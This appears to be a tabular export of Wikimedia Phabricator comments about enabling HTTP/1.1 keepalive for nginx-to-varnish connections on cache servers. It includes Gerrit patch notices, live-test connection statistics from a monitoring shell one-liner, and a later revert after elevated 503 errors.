617363,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273013 merged by BBlack:
Revert ""cache_misc: disable do_gzip""

[[https://gerrit.wikimedia.org/r/273013]]",,,1456337829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.8,"Change 273013 merged by BBlack:
Revert ""cache_misc: disable do_gzip""

[[GERRIT_URL]]"
617356,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273013 had a related patch set uploaded (by BBlack):
Revert ""cache_misc: disable do_gzip""

[[https://gerrit.wikimedia.org/r/273013]]
",,,1456337555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8518518518518519,"Change 273013 had a related patch set uploaded (by BBlack):
Revert ""cache_misc: disable do_gzip""

[[GERRIT_URL]]
"
617349,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273012 merged by BBlack:
disable keepalives everywhere

[[https://gerrit.wikimedia.org/r/273012]]",,,1456337396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.4375,0.875,"Change 273012 merged by BBlack:
disable keepalives everywhere

[[GERRIT_URL]]"
617342,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273012 had a related patch set uploaded (by BBlack):
disable keepalives everywhere

[[https://gerrit.wikimedia.org/r/273012]]
",,,1456337116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.130434782608695,0.8695652173913043,"Change 273012 had a related patch set uploaded (by BBlack):
disable keepalives everywhere

[[GERRIT_URL]]
"
617341,HTTP/1.1 keepalive for local nginx->varnish conns,"See T127931 - caused elevated (but still small) 503s on cache_text, reverted for now, will revisit after further varnish/nginx software upgrades, etc.",,,1456337100,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.3,0.9333333333333333,"See T127931 - caused elevated (but still small) 503s on cache_text, reverted for now, will revisit after further varnish/nginx software upgrades, etc."
612880,HTTP/1.1 keepalive for local nginx->varnish conns,Might cause T127294. Calls to https://integration.wikimedia.org/ci/api/json ends up being corrupted somehow and that started happening when commits for this task landed.,,,1455797886,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.6521739130434785,0.9565217391304348,Might cause T127294. Calls to URL ends up being corrupted somehow and that started happening when commits for this task landed.
612605,HTTP/1.1 keepalive for local nginx->varnish conns,"resolving for now, unless something new pops up",,,1455755991,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.444444444444445,1.0,"resolving for now, unless something new pops up"
612497,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271429 merged by BBlack:
nginx keepalives: enable for upload

[[https://gerrit.wikimedia.org/r/271429]]",,,1455749345,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.9473684210526314,0.8421052631578947,"Change 271429 merged by BBlack:
nginx keepalives: enable for upload

[[GERRIT_URL]]"
612492,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm enabling this for upload now as well, as I've been testing one esams cache with live hacks for a while now and not seen any issues.  Will try to keep an eye on 502s (which tend to show up in pybal if they're showing up for users).

The primary diffs vs when this didn't work back in August are:

1. keepalive idle conns set to 1 instead of 4 (fewer baseline open connections to varnish)
2. tcp_tw_reuse set in https://gerrit.wikimedia.org/r/271350 (most likely what fixed it)
3. Possibly ulimit diff in https://gerrit.wikimedia.org/r/#/c/271423/ (I highly doubt this, but it's still more-correct this way).",,,1455749040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,0.5,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,0.5,4.5,2.0,0.0,0.0,0.0,2.0,0.0,9.5,11.0,0.0,1.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,2.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.5,1.5,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.5,1.5,6.0,1.0,1.5,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,11.0,3.0,0.0,0.0,0.0,4.0,0.0,2.0,1.0,0.0,1.5,1.5,1.0,3.0,3.412820512820513,0.8164335664335665,"I'm enabling this for upload now as well, as I've been testing one esams cache with live hacks for a while now and not seen any issues.  Will try to keep an eye on 502s (which tend to show up in pybal if they're showing up for users).

The primary diffs vs when this didn't work back in August are:

1. keepalive idle conns set to 1 instead of 4 (fewer baseline open connections to varnish)
2. tcp_tw_reuse set in GERRIT_URL (most likely what fixed it)
3. Possibly ulimit diff in URL (I highly doubt this, but it's still more-correct this way)."
612490,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271429 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for upload

[[https://gerrit.wikimedia.org/r/271429]]
",,,1455748816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8076923076923075,0.8846153846153846,"Change 271429 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for upload

[[GERRIT_URL]]
"
612434,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271350 merged by BBlack:
enable tcp_tw_reuse on caches

[[https://gerrit.wikimedia.org/r/271350]]",,,1455744360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.117647058823529,0.8823529411764706,"Change 271350 merged by BBlack:
enable tcp_tw_reuse on caches

[[GERRIT_URL]]"
612423,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271350 had a related patch set uploaded (by BBlack):
enable tcp_tw_reuse on caches

[[https://gerrit.wikimedia.org/r/271350]]
",,,1455743909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9166666666666665,0.875,"Change 271350 had a related patch set uploaded (by BBlack):
enable tcp_tw_reuse on caches

[[GERRIT_URL]]
"
612354,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271318 merged by BBlack:
nginx keepalives: enable for text

[[https://gerrit.wikimedia.org/r/271318]]",,,1455739226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8421052631578947,0.8421052631578947,"Change 271318 merged by BBlack:
nginx keepalives: enable for text

[[GERRIT_URL]]"
612303,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271317 merged by BBlack:
nginx keepalives: enable for maps misc

[[https://gerrit.wikimedia.org/r/271317]]",,,1455736091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.85,"Change 271317 merged by BBlack:
nginx keepalives: enable for maps misc

[[GERRIT_URL]]"
612301,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271318 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for text

[[https://gerrit.wikimedia.org/r/271318]]
",,,1455736042,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.730769230769231,0.8846153846153846,"Change 271318 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for text

[[GERRIT_URL]]
"
612300,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271317 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for maps misc

[[https://gerrit.wikimedia.org/r/271317]]
",,,1455736041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.740740740740741,0.8888888888888888,"Change 271317 had a related patch set uploaded (by BBlack):
nginx keepalives: enable for maps misc

[[GERRIT_URL]]
"
608437,HTTP/1.1 keepalive for local nginx->varnish conns,"Concluding the test on cp1065 and returning it to its normal config.  The stats were stable, and IMHO we should move on deploying this to non-upload clusters.  Needs to wait for other experiments to conclude (e.g. SPDY) so we get some isolation of any effects on perf graphs, though.",,,1455215339,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,3.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,15.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,15.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9166666666666665,0.8166666666666667,"Concluding the test on cp1065 and returning it to its normal config.  The stats were stable, and IMHO we should move on deploying this to non-upload clusters.  Needs to wait for other experiments to conclude (e.g. SPDY) so we get some isolation of any effects on perf graphs, though."
608313,HTTP/1.1 keepalive for local nginx->varnish conns,"Should also note: the initial test of this was with keepalive's idle conns parameter set to `4`, whereas the new tests are at `1`.  That alone may improve the situation on upload, but we may still have to also muck with thread pool parameters there to get this working, and see if it's even feasible without nginx outbound keepalive upper limits.",,,1455209279,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,17.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,4.0,3.0,6.0,4.0,3.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,17.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.114285714285714,0.8,"Should also note: the initial test of this was with keepalive's idle conns parameter set to CODE, whereas the new tests are at CODE.  That alone may improve the situation on upload, but we may still have to also muck with thread pool parameters there to get this working, and see if it's even feasible without nginx outbound keepalive upper limits."
608303,HTTP/1.1 keepalive for local nginx->varnish conns,"The above (if it holds) basically confirms earlier thinking: that this is the ""right"" thing to do and helps, but we've got upload-cluster-specific issues that caused us to revert earlier (due to upload's longer transaction lengths and thus higher inherent parallelism, + limits on inbound varnish-fe conns + lack of limits on nginx keepalive connection parallelism).  I think after a bit more live testing on cp1065, we should perhaps go ahead and roll this out for all clusters except 'upload', and then look at upload's problems a bit deeper...",,,1455208907,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,3.0,0.0,6.5,11.0,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,3.5,2.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.5,12.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,3.0,0.5,1.5,2.0,4.5,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,11.0,1.0,0.0,3.0,0.0,3.5,0.0,0.5,2.0,0.5,0.5,4.0,0.0,1.0,4.017543859649123,0.8421052631578947,"The above (if it holds) basically confirms earlier thinking: that this is the ""right"" thing to do and helps, but we've got upload-cluster-specific issues that caused us to revert earlier (due to upload's longer transaction lengths and thus higher inherent parallelism, + limits on inbound varnish-fe conns + lack of limits on nginx keepalive connection parallelism).  I think after a bit more live testing on cp1065, we should perhaps go ahead and roll this out for all clusters except 'upload', and then look at upload's problems a bit deeper..."
608297,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm live-testing this (at a setting of `1`) on an eqiad text machine (cp1065) right now.  The connection/thread stuff I'm watching is the output of:

```
root@cp1065# echo -n ""inbound TLS estab: ""; ss -tan state established|egrep '208.80.154.224:443'|wc -l; echo -n ""nginx->varnish-fe estab: ""; ss -tan state established|egrep '10.64.0.102:80\s+10.64.0.102:' |wc -l; echo -n ""varnish-fe live threads: ""; ps -efL|grep 'wikimedia_text-fronten[d]\.vcl'|wc -l; echo -n ""nginx->varnish-fe time-wait: ""; ss -tan state time-wait|egrep '10.64.0.102:80\s+10.64.0.102:' |wc -l; uptime
```

In cp1065's normal unaltered state, this shows numbers about like these (bouncing around a bit, other than varnish-fe live threads):
```
inbound TLS estab: 30453
nginx->varnish-fe estab: 42
varnish-fe live threads: 550
nginx->varnish-fe time-wait: 63868
 16:28:04 up 1 day, 22:45,  1 user,  load average: 4.53, 4.78, 4.84
```

After reloading with 1x keepalive setting and waiting for stats to settle in a little, it's more like:
```
inbound TLS estab: 31821
nginx->varnish-fe estab: 75
varnish-fe live threads: 550
nginx->varnish-fe time-wait: 1842
 16:33:35 up 1 day, 22:51,  1 user,  load average: 4.73, 4.55, 4.72
```

No spikes in 5xx data or funky log messages that I've observed so far.  Ganglia cpu% looks very slightly reduced, but too small to be sure or care much.",,,1455208756,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1.0,0.0,1.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,0.0,11.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,10.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.5569620253164556,0.8227848101265823,"I'm live-testing this (at a setting of CODE) on an eqiad text machine (cp1065) right now.  The connection/thread stuff I'm watching is the output of:

``CODE`CODE`CODE`CODE`CODE``

No spikes in 5xx data or funky log messages that I've observed so far.  Ganglia cpu% looks very slightly reduced, but too small to be sure or care much."
608216,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 269708 merged by BBlack:
tlsproxy: nginx keepalives param for testing

[[https://gerrit.wikimedia.org/r/269708]]",,,1455202257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.15,0.85,"Change 269708 merged by BBlack:
tlsproxy: nginx keepalives param for testing

[[GERRIT_URL]]"
607359,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 269708 had a related patch set uploaded (by BBlack):
tlsproxy: nginx keepalives param for testing

[[https://gerrit.wikimedia.org/r/269708]]
